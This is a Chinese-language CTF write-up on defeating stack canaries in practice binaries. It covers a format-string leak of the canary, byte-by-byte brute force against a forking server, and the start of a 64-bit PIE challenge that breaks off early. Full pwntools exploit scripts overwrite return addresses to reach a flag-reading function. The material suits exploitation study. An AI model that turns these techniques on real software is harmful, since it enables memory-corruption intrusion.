01 格式化字符串 (32位程序) checksec查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──(root㉿kali)-[~/ctf-practice/canary/01] └─ bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01c7b75be8e31b585bf8739665273c91584b826e, not stripped ┌──(root㉿kali)-[~/ctf-practice/canary/01] └─ [*] '/root/ctf-practice/canary/01/bin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) ┌──(root㉿kali)-[~/ctf-practice/canary/01] └─ %7$p 0xda44e500123456
checksec查看发现:32位程序,有canary
分析漏洞函数 从ida中查看,分析漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format[6 ]; unsigned int v5; v5 = __readgsdword(0x14 u); init(); __isoc99_scanf("%6s" , format); printf (format); fun(); return 0 ; }
发现上面的main函数中存在格式化字符串漏洞,可以利用该漏洞泄露出canary的地址
1 2 3 4 5 6 7 8 9 unsigned int fun () { char buf[100 ]; unsigned int v2; v2 = __readgsdword(0x14 u); read(0 , buf, 0x78 u); return __readgsdword(0x14 u) ^ v2; }
fun函数中,有一个栈溢出的漏洞,可以构造payload进行栈溢出,返回地址填充成什么呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned int getflag () { FILE *stream; char s[100 ]; unsigned int v3; v3 = __readgsdword(0x14 u); stream = fopen("./flag" , "r" ); if ( !stream ) puts ("get flag error" ); fgets(s, 100 , stream); puts (s); return __readgsdword(0x14 u) ^ v3; }
这个地方看到有一个后门函数,直接返回到这个函数位置即可~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:0804863 B .text:0804863 B ; =============== S U B R O U T I N E ======================================= .text:0804863 B .text:0804863 B ; Attributes: bp-based frame .text:0804863 B .text:0804863 B ; unsigned int getflag() .text:0804863 B public getflag .text:0804863 B getflag proc near .text:0804863 B .text:0804863 B stream= dword ptr -74 h .text:0804863 B s= byte ptr -70 h .text:0804863 B var_C= dword ptr -0 Ch .text:0804863 B .text:0804863 B ; __unwind { .text:0804863 B 55 push ebp
看到后门函数为cat ./flag,所以在同级目录下加个一个flag文件,如下:
1 2 3 ┌──(root㉿kali)-[~/ctf-practice/canary/01] └─ flag123
如何泄露canary地址 + 如何寻找变量和ebp之间的偏移 先分析一下源代码
1 2 3 4 5 pwndbg> b mainBreakpoint 1 at 0x8048739 pwndbg> r
1 2 0x804873c <main+17 > mov eax , dword ptr gs :[0x14 ]0x8048742 <main+23 > mov dword ptr [ebp - 0xc ], eax
这两行就是和canary相关的汇编代码
运行完 0x804873c <main+17> mov eax, dword ptr gs:[0x14]
之后,eax中存入的即为canary的值,为0x888b8f00 (注意,每次运行canary的值都会变),如下图
运行完0x8048742 <main+23> mov dword ptr [ebp - 0xc], eax
,canary的值被存入到ebp-0xc
的位置,如下图
为了方便查看,把伪代码再粘贴一份过来
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format[6 ]; unsigned int v5; v5 = __readgsdword(0x14 u); init(); __isoc99_scanf("%6s" , format); printf (format); fun(); return 0 ; }
__isoc99_scanf("%6s", format);
scanf函数有两个参数,我们知道,函数压栈的时候,是从右向左压栈的。
如下图红框1,可以看到在调用scanf之前,push了两个值,第一个eax([ebp-0x12])是format的地址,第二个0x8048838是”%6s”,所以format在ebp-0x12的位置。EBP位于0xffffd368,所以format在0xffffd356的位置。
1 2 3 4 5 6 7 └─ Python 3.11 .4 (main, Jun 7 2023 , 10 :13 :09) [GCC 12.2 .0 ] on linuxType "help" , "copyright" , "credits" or "license" for more information.>>> 0xffffd368 - 0x12 4294955862 >>> hex (4294955862 )'0xffffd356'
另一种方法,如下图红框2,运行完main+39和main+40之后,栈中最近的两个变量即为scanf的两个参数,所以format在0xffffd356的位置。
继续运行,输入%p%p%p(因为只能接收6个字符),直到输出printf
1 2 3 pwndbg> n%p %p %p pwndbg> n
如下图,最上面输出的3个地址,即为printf格式化字符串漏洞泄露的3个地址,从上往下数,canary位于第7个位置。
再次验证一下 退出gdb调试,重新进入,这次输入%7$p
可以看到,输出的地址和canary的地址是一样的
为了方便查看,我把fun的代码再粘贴一份
1 2 3 4 5 6 7 8 9 unsigned int fun () { char buf[100 ]; unsigned int v2; v2 = __readgsdword(0x14 u); read(0 , buf, 0x78 u); return __readgsdword(0x14 u) ^ v2; }
同样的方式,查找buf变量到ebp的距离,如下图,可以看到buf为ebp-70h
的位置
1 2 3 4 5 6 7 8 9 pwndbg> b fun Breakpoint 1 at 0x80486f9 pwndbg> r Starting program: /root/ctf-practice/canary/01 /bin [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . %7 $p0x9585b900
main和fun函数canary到ebp的偏移都是一样的,所以我们从fun函数进行溢出
栈帧分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 默认栈帧 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp--->+-----------------+----------------- | | 0xc | | | canary | ebp-0xc ---> +-----------------+ | | 0x70 | | | | | | | | | | ebp-0x70 buf--->+-----------------+----------------- 修改后栈帧 +-----------------+ | (retaddr) 后门 | +-----------------+ | (saved ebp)BBBB | ebp--->+-----------------+----------------- | BBBB | 0xc | BBBB | | canary | ebp-0xc ---> +-----------------+ | | 0x70 | AAAA | | | | | | | | | ebp-0x70 buf--->+-----------------+-----------------
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) p = process('./bin' ) payload = '%7$p' p.sendline(payload) canary = int (p.recv(),16 )print ("canary: " , canary) print ("hex(canary): " , hex (canary)) getflag = 0x0804863B payload = cyclic(0x70 -0x0c ) + p32(canary) + cyclic(0xc ) + p32(getflag) p.send(payload) p.interactive()""" ┌──(root㉿kali)-[~/ctf-practice/canary/01] └─# python exp.py [+] Starting local process './bin': pid 174011 /root/ctf-practice/canary/01/exp.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendline(payload) canary: 4237685760 hex(canary): 0xfc95f400 [*] Switching to interactive mode flag123 """
参考 canary的各种姿势—-pwn题解版 题目1
02 针对fork的进程 (32位程序) checksec分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ┌──(root㉿kali)-[~/ctf-practice/canary/02] └─ [*] '/root/ctf-practice/canary/02/bin1' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) ┌──(root㉿kali)-[~/ctf-practice/canary/02] └─ bin1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=29de21cdd9a0496a8057313502c90562b715014b, not stripped ┌──(root㉿kali)-[~/ctf-practice/canary/02] └─ welcome 123456 recv sucess welcome qweasdzxc recv sucess welcome
分析漏洞函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { __pid_t v3; init(); while ( 1 ) { v3 = fork(); if ( v3 < 0 ) break ; if ( v3 ) { wait(0 ); } else { puts ("welcome" ); fun(); puts ("recv sucess" ); } } puts ("fork error" ); exit (0 ); }
1 2 3 4 5 6 7 8 9 unsigned int fun () { char buf[100 ]; unsigned int v2; v2 = __readgsdword(0x14 u); read(0 , buf, 0x78 u); return __readgsdword(0x14 u) ^ v2; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned int getflag () { FILE *stream; char s[100 ]; unsigned int v3; v3 = __readgsdword(0x14 u); stream = fopen("./flag" , "r" ); if ( !stream ) { puts ("get flag error" ); exit (0 ); } fgets(s, 100 , stream); puts (s); return __readgsdword(0x14 u) ^ v3; }
对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) p = process('./bin1' ) p.recvuntil('welcome\n' ) canary = b'\x00' for i in range (3 ): for i in range (256 ): txt = b'a' *100 + canary + bytes ([i]) p.send(txt) a = p.recvuntil("welcome\n" ) if b"recv" in a: canary += bytes ([i]) print ("canary: " , canary) break print ("type(canary): " , type (canary)) getflag = 0x0804863B print ("getflag: " , getflag)print ("p32(getflag): " , p32(getflag)) payload = b'a' *100 + canary + b'b' *12 + p32(getflag) p.sendline(payload) p.interactive()""" └─# python exp.py [+] Starting local process './bin1': pid 248869 /root/ctf-practice/canary/02/exp.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.recvuntil('welcome\n') /root/ctf-practice/canary/02/exp.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes a = p.recvuntil("welcome\n") canary: b'\x00?' canary: b'\x00?\xb2' canary: b'\x00?\xb2a' type(canary): <class 'bytes'> getflag: 134514235 p32(getflag): b';\x86\x04\x08' [*] Switching to interactive mode flag123 welcome recv sucess welcome """
debug模式下的输出:
当输入00 a6
的时候,输出stack smashing detected
当输入00 a7
的时候,输出recv sucess
普通执行输出:
和上一题一样,同一个目录下放了一个flag文件
参考 canary的各种姿势—-pwn题解版 题目2
03 (64位) checksec 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(root㉿kali)-[~/ctf-practice/canary/03] └─ [*] '/root/ctf-practice/canary/03/babypie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ┌──(root㉿kali)-[~/ctf-practice/canary/03] └─ babypie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped
分析漏洞函数 1 2 3 4 5 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { sub_960(a1, a2, a3); return 0LL ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 sub_960 () { __int64 buf[6 ]; buf[5 ] = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); memset (buf, 0 , 32 ); puts ("Input your Name:" ); read(0 , buf, 0x30 uLL); printf ("Hello %s:\n" , (const char *)buf); read(0 , buf, 0x60 uLL); return 0LL ; }
知识点 memset 1 2 __int64 buf[6 ]; memset (buf, 0 , 32 );
这段代码声明了一个名为 buf
的数组,该数组的元素类型是 __int64
,并且数组的大小为6个 __int64
元素。接着,使用 memset
函数将这个数组的前32个字节都设置为0。这通常用于确保数组的初始状态,以避免包含未初始化的数据。